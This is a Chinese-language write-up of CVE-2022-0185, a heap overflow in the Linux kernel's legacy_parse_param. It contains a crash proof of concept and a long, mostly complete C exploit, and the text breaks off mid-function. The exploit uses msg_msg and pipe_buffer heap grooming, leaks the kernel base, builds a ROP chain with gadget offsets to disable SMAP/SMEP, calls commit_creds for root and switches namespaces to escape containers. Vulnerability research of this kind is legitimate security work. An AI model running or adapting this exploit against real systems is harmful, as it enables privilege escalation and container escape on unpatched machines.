CVE-2022-0185分析及利用 与 pipe新原语思考与实践

简介

在函数legacy_parse_param中因为对参数中的length校验错误,导致整数溢出,从而造成 heap buffer overflow。这个函数被用于处理Linux内核中文件系统相关的功能,想要调用到需要同时满足以下几个条件:

  1. 用户拥有CAP_SYS_ADMIN权限或处于其他namespace
  2. 打开一个不支持Filesystem Context API的文件系统(因此会调用legacy的代码)

从而通过内存损坏造成本地提权或容器逃逸。

漏洞

Base on Linux kernel 5.10.6

漏洞分析

漏洞出现在legacy_parse_param函数中:

ctx中维护了一个大小为PAGE_SIZE的buffer叫legacy_data,用户可以传入一对key value,在尝试判断长度(533行)是否ok后就会使用,[key]=[value]格式将数据append到buffer的最后。但533行中的lensize均为unsigned类型,因此如果size大于PAGE_SIZE - 2,就会发生整数溢出变成很大的正数,从而绕过判断,造成heap buffer overflow。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// >>> source/fs/fs_context.c:502
/* 502 */ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
/* 503 */ {
/* 504 */ struct legacy_fs_context *ctx = fc->fs_private;
/* 505 */ unsigned int size = ctx->data_size; // size为当前buffer长度
/* 506 */ size_t len = 0;
------
/* 521 */ switch (param->type) {
/* 522 */ case fs_value_is_string: // 如果type是string
/* 523 */ len = 1 + param->size; // len为用户传入数据的size+1
------
/* 533 */ if (len > PAGE_SIZE - 2 - size) // 整数溢出
/* 534 */ return invalf(fc, "VFS: Legacy: Cumulative options too large");
------
/* 540 */ if (!ctx->legacy_data) {
// 如果不存在buffer,则分配内存,大小为PAGE_SIZE
// PS. 这里使用GFP_KERNEL来分配,但其实用GFP_KERNEL_ACCOUNT会更合理
// 这个问题在5.16中被改正
// bb902cb47cf93b33cd92b3b7a4019330a03ef57f
/* 541 */ ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
/* 542 */ if (!ctx->legacy_data)
/* 543 */ return -ENOMEM;
/* 544 */ }
/* 545 */
/* 546 */ ctx->legacy_data[size++] = ','; // append ','
/* 547 */ len = strlen(param->key);
/* 548 */ memcpy(ctx->legacy_data + size, param->key, len); // copy key_string
/* 549 */ size += len;
------
/* 550 */ if (param->type == fs_value_is_string) {
/* 551 */ ctx->legacy_data[size++] = '='; // append '='
/* 552 */ memcpy(ctx->legacy_data + size, param->string, param->size); // copy
/* 553 */ size += param->size;
/* 554 */ }
/* 555 */ ctx->legacy_data[size] = '\0'; // append '\x00'
/* 556 */ ctx->data_size = size;
/* 557 */ ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
/* 558 */ return 0;
/* 559 */ }

有个地方很巧。

由于ctx->legacy_data的size是PAGE_SIZE,且在新版的内核中会开启CONFIG_HARDENED_USERCOPY,如果552行使用了copy_from_user则会被check,例如拷贝的buffer是否在object内,是否跨页等等,这样这里就只能是一个crash的洞了。

但这里param->string实际上在之前就已经通过strndup_user(底层还是copy_from_user)拷贝到了内核层,因此这里是内核到内核的拷贝,因此只需要使用memcpy就够了,从而绕过了CONFIG_HARDENED_USERCOPY的检查(笑死

接下来说说调用链。

这个函数从用户态可以通过syscallfsconfig触发。

调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// >>> source/fs/fsopen.c:314
/* 314 */ SYSCALL_DEFINE5(fsconfig,
/* 315 */ int, fd,
/* 316 */ unsigned int, cmd,
/* 317 */ const char __user *, _key,
/* 318 */ const void __user *, _value,
/* 319 */ int, aux)
/* 320 */ {
------
/* 326 */ struct fs_parameter param = {
/* 327 */ .type = fs_value_is_undefined,
/* 328 */ };
------
/* 383 */ if (_key) {
// 调用strndup_user,填充param.key
/* 384 */ param.key = strndup_user(_key, 256);
------
/* 390 */
/* 391 */ switch (cmd) {
------
/* 395 */ case FSCONFIG_SET_STRING:
// 设置type到 fs_value_is_string
/* 396 */ param.type = fs_value_is_string;
// 调用strndup_user,填充param.string
/* 397 */ param.string = strndup_user(_value, 256);
------
/* 402 */ param.size = strlen(param.string);
/* 403 */ break;
------
// 进这里
/* 439 */ ret = vfs_fsconfig_locked(fc, cmd, &param);


// >>> ../ubuntu_5.10/ubuntu-hirsute/fs/fsopen.c:216
/* 216 */ static int vfs_fsconfig_locked(struct fs_context *fc, int cmd,
/* 217 */ struct fs_parameter *param)
/* 218 */ {
------
/* 225 */ switch (cmd) {
------
/* 260 */ default:
------
// 进这里
/* 265 */ return vfs_parse_fs_param(fc, param);


// >>> ../ubuntu_5.10/ubuntu-hirsute/fs/fs_context.c:98
/* 98 */ int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
/* 99 */ {
------
/* 116 */ if (fc->ops->parse_param) {
// 进这里
/* 117 */ ret = fc->ops->parse_param(fc, param);

// 通过调试,这里的fc->ops->parse_param 指向 `legacy_parse_param`
// fc->ops 为 legacy_fs_context_ops

// `legacy_parse_param` 就是这次漏洞出现的函数

漏洞POC

下面是一个简单的crash poc:

需要注意的是这两个syscall需要CAP_SYS_ADMIN才能使用,不过我们可以借助unshare到新的namespace来完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

void init_unshare() {
int fd;
char buff[0x100];

// strace from `unshare -Ur xxx`
unshare(CLONE_NEWNS | CLONE_NEWUSER);

fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buff, sizeof(buff), "deny");
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getuid());
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getgid());
write(fd, buff, strlen(buff));
close(fd);
}

int main(void) {
init_unshare();

char *val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
perror("fsopen");
exit(1);
}
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}

漏洞利用

heap buffer overflow发生在kmalloc-4k中,且由于场景限制(基于strdup),我们不能写入0字节。

由于legacy_data 分配时使用的是GFP_KERNELflag,因此在kernel < 5.9时和使用GFP_KERNEL_ACCOUNT的chunk会不可能放在一起。但由于我们分析的内核是5.10版本的,因此我们可以请出我们的老朋友:msg_msg(它使用GFP_KERNEL_ACCOUNT分配)。

一般来说存储从用户层输入的数据会使用GFP_KERNEL_ACCOUNT来分配chunk,这里用GFP_KERNEL其实是一个bug,并在linux 5.16的一次commit中被修复。

关于msg_msg的细节这里不再赘述。

首先我们调用fsopen并准备好overflow。

然后大量分配如下的msg,包含一个0x1000的struct msg_msg和0x400的struct msg_msgseg

那就有机会形成如下的布局,即legacy_data后面紧跟着一个4k的struct msg_msg,它的struct msg_msgseg后面紧跟着另一个msg_msgseg

接着触发overflow,覆盖m_ts,由于单个msg_msgseg最大可为0x1000字节,因此如果尝试用MSG_COPY来读取含“A”的msg,就能把后面的msg_msgsegB的内容也读出来。

通过这个方法,我们可以确认msgseg A后面是不是另一个msgseg,如果不是则重新开始堆喷,直到kernel crash或利用成功。

之后,把除了含“A”外所有的msg释放掉,这样就能保证msgseg A后面的chunk在此时是free状态。调用pipe和write分配大量struct pipe_buffer。由于struct pipe_buffer的size为0x28,且使用kcalloc分配,而count为0x10,因此会分配0x280的堆块,且使用的flag为GFP_KERNEL_ACCOUNT,满足占位条件。

那么很有机会出现如下的布局:

这样通过对msg A的oob read,就能泄露出pipe_buffer中的ops字段,从而得到kernel base。

之后我们把所有的pipe_buffer free掉。另起一堆msg队列,且每个队列中塞16个0x400的msg,如下:

那么很大概率会形成如下布局。通过OOB read,我们就能得知msg B的地址,这个msg后面会被拿来做UAF。

之后我们可以把msg D和D之后所有的msg都释放掉,重新申请一个msg X,这样X的地址就会写到C的next指针处。这个msg中包含后面要用到的所有数据,包括 fake msg_msg,fake pipe_buf_operations,ROP chain等等。因为到目前为止,UAF chunk的地址和kernel base都已知了。再次使用OOB read,就能知道msg X的地址。

接着我们重新调用fsopen并准备好overflow,并按前面的方式准备好如下布局:

这次我们不攻击m_ts,而是修改m_list.next。这里需要注意,受限于场景,我们不能写入0字节,因此不能直接修改next直到msg B(0x400 aligned)。这下,之前的fake buffer派上用场了。我们可以挑一个lsb非0的地址伪造一个msg_msg头部,让伪造msg的next指向msg B:

接着,将msg B从正常的msg队列中取出,再堆喷sk_buff->data,希望有一个sk_buff->data能够占用msg B的chunk。

稍微提一下,这个sk_buff->data是用于socket中的UDP的,大小为0x180~0x1000,前面是用户可控数据,后面0x140是struct skb_shared_info,且分配的flag为GFP_KERNEL_ACCOUNT

喷的skbuff_data用于伪造struct msg_msg头部,这样就可以通过伪造的msg队列将其再次free,从而从msg_msg的UAF转化成skbuff_data的UAF。

接着再堆喷pipe_buffer,指望能有一个pipe_buffer和skbuff_data共用一个chunk。这样就能 free skbuff_data,转化为pipe_buffer的UAF。

接着再堆喷skbuff_data,这样就可以完全重写pipe_buffer中的数据,例如ops,从而劫持kernel rip。

伪造的ops可以放在之前fake everything的chunk中,rop chain同理。通过rop关闭smap和smep,回到userland,调用commit_creds(prepare_kernel_cred(0));即可提权,调用switch_task_namespaces(find_task_by_vpid(1), init_nsproxy);即可穿docker。

漏洞Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

#define logd(fmt, ...) fprintf(stderr, (fmt), ##__VA_ARGS__)
#define NUM_MSQIDS_1 (0x400)
#define NUM_MSQIDS_2 (0x400)
#define MSG_A_RAW_SIZE (0x1400 - 0x8)
#define MSG_A_BUFF_SIZE (MSG_A_RAW_SIZE - sizeof(struct msg_msg))
#define MSG_B_RAW_SIZE (0x400)
#define MSG_B_BUFF_SIZE (MSG_B_RAW_SIZE - sizeof(struct msg_msg))
#define MTYPE_A (0x41)
#define MTYPE_B (0x42)
#define MTYPE_FAKE (0x43)
#define MSG_SIG (0x13371337)
#define NUM_PIPES (0x100)
#define NUM_SOCKETS (4)
#define NUM_SKBUFFS (0x80)

#define OFFSET_anon_pipe_buf_ops (0x103fac0)
// 0xffffffff8173499c: push rsi; jmp qword ptr [rsi + 0x39];
#define GADGET_stack_pivot1 (0x73499c)
// 0xffffffff810e046d: pop rsp; ret;
#define GADGET_stack_pivot2 (0x0e046d)
#define OFFSET_prepare_kernel_cred (0x0c8540)
#define OFFSET_commit_creds (0x0c80b0)
/**
* 0xffffffff81b740b6: mov cr4,rbx
* 0xffffffff81b740b9: test rdx,rdx
* 0xffffffff81b740bc: je 0xffffffff81b740d5
* ...
* 0xffffffff81b740d5: jmp r8
*/
#define GADGET_set_cr4 (0xb740b6)
#define GADGET_pop_rdx (0x1255f5)
#define GADGET_pop_r8 (0x524fb2)
#define GADGET_pop_rbx (0x1255a3)

struct trap_frame {
uint64_t rip;
uint64_t cs;
uint64_t eflags;
uint64_t rsp;
uint64_t ss;
} __attribute__((packed)) tf;
unsigned long user_cs, user_ss, user_eflags, user_sp;

struct list_head {
uint64_t next;
uint64_t prev;
};

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
char mtext[0];
};

struct msg_msgseg {
uint64_t next;
};

struct typ_msg_a {
long mtype;
char mtext[MSG_A_BUFF_SIZE];
};

struct typ_msg_a_oob {
long mtype;
char mtext[MSG_A_BUFF_SIZE + 0x400];
};

struct typ_msg_b {
long mtype;
char mtext[MSG_B_BUFF_SIZE];
};

int sockfd;
int sock_pairs[NUM_SOCKETS][2];
int msqid_1[NUM_MSQIDS_1];
int msqid_2[NUM_MSQIDS_2];
struct typ_msg_a msg_a = {0};
struct typ_msg_a_oob msg_a_oob = {0};
struct typ_msg_b msg_b = {0};
int list1_corrupted_msqid = -1;
int list2_leak_msqid = -1;
int list2_leak_mtype = 0;
uint64_t list2_uaf_msg_addr = 0;
int list2_uaf_mtype = 0;
uint64_t heap_buffer_addr = 0;
int dummy_pipe[NUM_PIPES][2];
uint64_t kbase = 0;

void z() {
logd("waiting...\n");
getchar();
}

void die() {
exit(1);
}

void get_shell() {
int uid = getuid();
if (!uid || printf("[\033[1;31m-\033[0m] gain root fail, uid: %d\n", uid) & 0) {
puts("[\033[1;32m+\033[0m] root get!!");
execlp("/bin/sh", "sh", NULL);
}
exit(0);
}

void init_tf_work(void) {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
:
: "memory");

asm("mov %cs,%rax;pushq %rax;popq tf+8;" // set cs
"pushf;popq tf+16;" // set eflags
"mov %ss,%rax;pushq %rax;popq tf+32;");
tf.rip = (uint64_t)&get_shell;
tf.rsp = 0xf000 + (uint64_t)mmap(0, 0x10000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}

void payload(void) { // <--- kernel jump here (cr4 0x6f0)
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *)KERNCALL = (void *)kbase + OFFSET_prepare_kernel_cred;
void (*commit_creds)(void *) KERNCALL = (void *)kbase + OFFSET_commit_creds;
commit_creds(prepare_kernel_cred(0));
asm("swapgs;mov $tf,%rsp;iretq;");
}

void hexdump(const void *data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
logd("%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
logd(" ");
if ((i + 1) % 16 == 0) {
logd("| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
logd(" ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
logd(" ");
}
logd("| %s \n", ascii);
}
}
}
}

void init_unshare() {
int fd;
char buff[0x100];

// strace from `unshare -Ur xxx`
unshare(CLONE_NEWNS | CLONE_NEWUSER);

fd = open("/proc/self/setgroups", O_WRONLY);
snprintf(buff, sizeof(buff), "deny");
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getuid());
write(fd, buff, strlen(buff));
close(fd);

fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(buff, sizeof(buff), "0 %d 1", getgid());
write(fd, buff, strlen(buff));
close(fd);
}

void init_msq() {
for (int i = 0; i < NUM_MSQIDS_1; i++) {
msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msqid_1[i] < 0) {
logd("[-] msgget() fail\n");
die();
}
}
for (int i = 0; i < NUM_MSQIDS_2; i++) {
msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msqid_2[i] < 0) {
logd("[-] msgget() fail\n");
die();
}
}
}

void init_sock() {
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
logd("[-] socket() fail\n");
die();
}

for (int i = 0; i < NUM_SOCKETS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) {
logd("[-] socketpair() fail\n");
die();
}
}
}

void clean_msq_1() {
for (int i = 0; i < NUM_MSQIDS_1; i++) {
msgrcv(msqid_1[i], &msg_a, sizeof(msg_a.mtext), MTYPE_A, IPC_NOWAIT);
}
}

void clean_msq_2() {
for (int i = 0; i < NUM_MSQIDS_2; i++) {
for (int j = 0; j < 0x10; j++) {
msgrcv(msqid_2[i], &msg_b, sizeof(msg_b.mtext), MTYPE_B | (j << 8), IPC_NOWAIT);
}
}
}

void clean_pipe() {
for (int i = 0; i < NUM_PIPES; i++) {
char buffer[0x100];
read(dummy_pipe[i][0], buffer, 0x100);
close(dummy_pipe[i][0]);
close(dummy_pipe[i][1]);
}
}

void bind_cpu() {
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) {
perror("sched_setaffinity");
die();
}
}

int call_fsopen() {
int fd = fsopen("ext4", 0);
if (fd < 0) {
perror("fsopen");
die();
}
return fd;
}

void spray_skbuff_data(void *ptr, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(sock_pairs[i][0], ptr, size) < 0) {
logd("[-] write to sock pairs failed\n");
die();
}
}
}
}

void free_skbuff_data(void *ptr, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(sock_pairs[i][1], ptr, size) < 0) {
logd("[-] read from sock pairs failed\n");
die();
}
}
}
}

uint64_t exploit_step1(int fd) {
char buff[0x1000];

/**
* padding ctx->legacy_data to
* ------
* 0x0FE0: BBBB BBBB - BBBB BBBB
* 0x0FF0: BBBB BBBB - BBBB BBB?
* 0x1000: ???? ???? - ???? ????
*
* so next write will overwrite next page,
* ------
* 0x0FF0: BBBB BBBB - BBBB BBB,
* 0x1000: =XXX XXXX - XXXX XXXX
*/
logd("[*] prepare fsconfig heap overflow\n");
memset(buff, 0, sizeof(buff));
memset(buff, 'A', 0x100 - 2);
for (int i = 0; i < 0xf; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);
}
memset(buff, 0, sizeof(buff));
memset(buff, 'B', 0x100 - 3);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

// alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg
logd("[*] sparying msg_msg ...\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
memset(&msg_a, 0, sizeof(msg_a));
msg_a.mtype = MTYPE_A;
memset(msg_a.mtext, 'Q', sizeof(msg_a.mtext));
((int *)&msg_a.mtext)[0] = MSG_SIG;
((int *)&msg_a.mtext)[1] = i;
if (msgsnd(msqid_1[i], &msg_a, sizeof(msg_a.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}

// trigger oob write to overwrite msg_msg.m_ts (hopes)
logd("[*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.m_ts\n");
memset(buff, 0, sizeof(buff));
strcat(buff, "0000000"); // m_list.next
strcat(buff, "11111111"); // m_list.prev
strcat(buff, "22222222"); // m_type
uint64_t target_size = sizeof(msg_a_oob.mtext);
memcpy(buff + strlen(buff), &target_size, 2);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

// recv from buffer to see if leak success
logd("[*] search corrupted msg_msg ...\n");
for (int i = 0; i < NUM_MSQIDS_1; i++) {
// logd("recving...\n");
ssize_t copy_size = msgrcv(msqid_1[i], &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT);
if (copy_size < 0) {
continue;
}
if (copy_size == sizeof(msg_a_oob.mtext)) {
logd("[+] corrupted msg_msg found, id: %d\n", msqid_1[i]);
list1_corrupted_msqid = msqid_1[i];
msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext));
size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext);
if (memcmp(&oob_data[1], "QQQQQQQQ", 8)) { // 'QQQQQQQQ'
logd("[!] but the next object is not allocated by msg_msgseg\n");
}
break;
}
}
if (list1_corrupted_msqid < 0) {
logd("[!] can't found corrupted msg_msg, and kernel may crash :(\n");
clean_msq_1();
return 1;
}

// clean uncorrupted msg_msg
logd("[*] clean unused msg_msg ...\n");
clean_msq_1();

if (!kbase) {
// realloc 0x400 slab with sizeof(struct pipe_buffer)*PIPE_DEF_BUFFERS == 0x280
logd("[*] alloc `struct pipe_buffer` to re-acquire the 0x400 slab freed by msg_msgseg ...\n");
for (int i = 0; i < NUM_PIPES; i++) {
if (pipe(dummy_pipe[i])) {
logd("[-] Alloc pipe failed\n");
die();
}
write(dummy_pipe[i][1], buff, 0x100);
}

// hope leak happen
uint64_t anon_pipe_buf_ops = 0;
{
ssize_t copy_size = msgrcv(list1_corrupted_msqid, &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT);
if ((copy_size < 0) || (copy_size != sizeof(msg_a_oob.mtext))) {
logd("[-] recv from corrupted msg_msg failed\n");
die();
}
uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext));
size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext);
if (((oob_data[2] ^ OFFSET_anon_pipe_buf_ops) & (PAGE_SIZE - 1)) != 0) {
logd("[-] bad luck, we don't catch pipe_buffer\n");

// close pipe
clean_pipe();
return 1;
}

logd("[*] it works :)\n");
hexdump(msg_a_oob.mtext + sizeof(msg_a.mtext), 0x28);
anon_pipe_buf_ops = oob_data[2];
logd("[+] leak anon_pipe_buf_ops: 0x%lx\n", anon_pipe_buf_ops);
}
kbase = anon_pipe_buf_ops - OFFSET_anon_pipe_buf_ops;
if ((kbase & (PAGE_SIZE - 1)) != 0) {
logd("[-] kbase not page aligned\n");
die();
} else {
logd("[+] get kernel base: 0x%lx\n", kbase);
}

// delete pipe
clean_pipe();
}

// realloc 0x400 slab with msg_msg
logd("[*] alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ...\n");
for (int i = 0; i < NUM_MSQIDS_2; i++) {
memset(&msg_b, 0, sizeof(msg_b));
memset(msg_b.mtext, 'W', sizeof(msg_b.mtext));
((int *)&msg_b.mtext)[0] = MSG_SIG;
((int *)&msg_b.mtext)[1] = i;
for (int j = 0; j < 0x10; j++) {
msg_b.mtype = MTYPE_B | (j << 8);
if (msgsnd(msqid_2[i], &msg_b, sizeof(msg_b.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}
}

// hope leak happen
{
ssize_t copy_size = msgrcv(list1_corrupted_msqid, &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT);
if ((copy_size < 0) || (copy_size != sizeof(msg_a_oob.mtext))) {
logd("[-] recv from corrupted msg_msg failed\n");
die();
}
uint64_t *oob_data = (uint64_t *)(msg_a_oob.mtext + sizeof(msg_a.mtext));
size_t oob_size = sizeof(msg_a_oob.mtext) - sizeof(msg_a.mtext);
struct msg_msg *p = (struct msg_msg *)oob_data;
if (((int *)&p->mtext)[0] != MSG_SIG) {
logd("[-] bad luck, we don't catch 0x400 msg_msg\n");
clean_msq_2();
return 1;
}
logd("[*] it works :)\n");

list2_leak_msqid = msqid_2[((int *)&p->mtext)[1]];
list2_leak_mtype = p->m_type;
list2_uaf_msg_addr = p->m_list.prev;
list2_uaf_mtype = p->m_type - 0x0100;
msqid_2[((int *)&p->mtext)[1]] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
hexdump(msg_a_oob.mtext + sizeof(msg_a.mtext), 0x40);
logd("[+] leak list2_leak_msqid: %d\n", list2_leak_msqid);
logd("[+] leak list2_leak_mtype: 0x%x\n", list2_leak_mtype);
logd("[+] leak list2_uaf_msg_addr: 0x%lx\n", list2_uaf_msg_addr);
logd("[+] leak list2_uaf_mtype: 0x%x\n", list2_uaf_mtype);
}

logd("[*] alloc msg_msg as heap buffer with known address\n");
{
for (int j = ((list2_leak_mtype + 0x100) >> 8); j < 0x10; j++) {
msgrcv(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), MTYPE_B | (j << 8), IPC_NOWAIT);
}
memset(buff, 0, sizeof(buff));
struct msg_msg *p = (struct msg_msg *)buff;
p->m_list.next = list2_uaf_msg_addr;
p->m_list.prev = 0xdeadbeefdeadbeef;
p->m_type = MTYPE_A;

uint64_t *p2;

// unlink next / prev
p2 = (uint64_t *)(buff + 0x80);
*p2++ = heap_buffer_addr; // +0x80
*p2++ = heap_buffer_addr; // +0x88

// pipe_buf_operations +0x100
p2 = (uint64_t *)(buff + 0x100);
*p2++ = 0xdeadbeef11111111; // confirm
*p2++ = kbase + GADGET_stack_pivot1; // release
*p2++ = 0xdeadbeef22222222; // try_steal
*p2++ = 0xdeadbeef33333333; // get

// ROP +0x180
p2 = (uint64_t *)(buff + 0x180);
*p2++ = kbase + GADGET_pop_rbx; // disable smap, smep
*p2++ = 0x6f0;
*p2++ = kbase + GADGET_pop_rdx;
*p2++ = 0;
*p2++ = kbase + GADGET_pop_r8;
*p2++ = kbase + GADGET_pop_r8;
*p2++ = kbase + GADGET_set_cr4;
*p2++ = 0;
*p2++ = (uint64_t)&payload; // jump to userland

memset(&msg_b, 0, sizeof(msg_b));
memcpy(msg_b.mtext, buff, sizeof(msg_b.mtext));
msg_b.mtype = MTYPE_B;
if (msgsnd(list2_leak_msqid, &msg_b, sizeof(msg_b.mtext), 0) < 0) {
logd("[-] msgsnd() fail\n");
die();
}
}

logd("[*] fetch heap_buffer address by oob read again\n");
{
ssize_t copy_size = msgrcv(list1_corrupted_msqid, &msg_a_oob, sizeof(msg_a_oob.mtext), 0, MSG_COPY | IPC_NOWAIT);
if ((copy_size < 0) || (copy_size != sizeof(msg_a_oob.mtext))) {
logd("[-] Recv from corrupted msg_msg failed\n");
die();
}
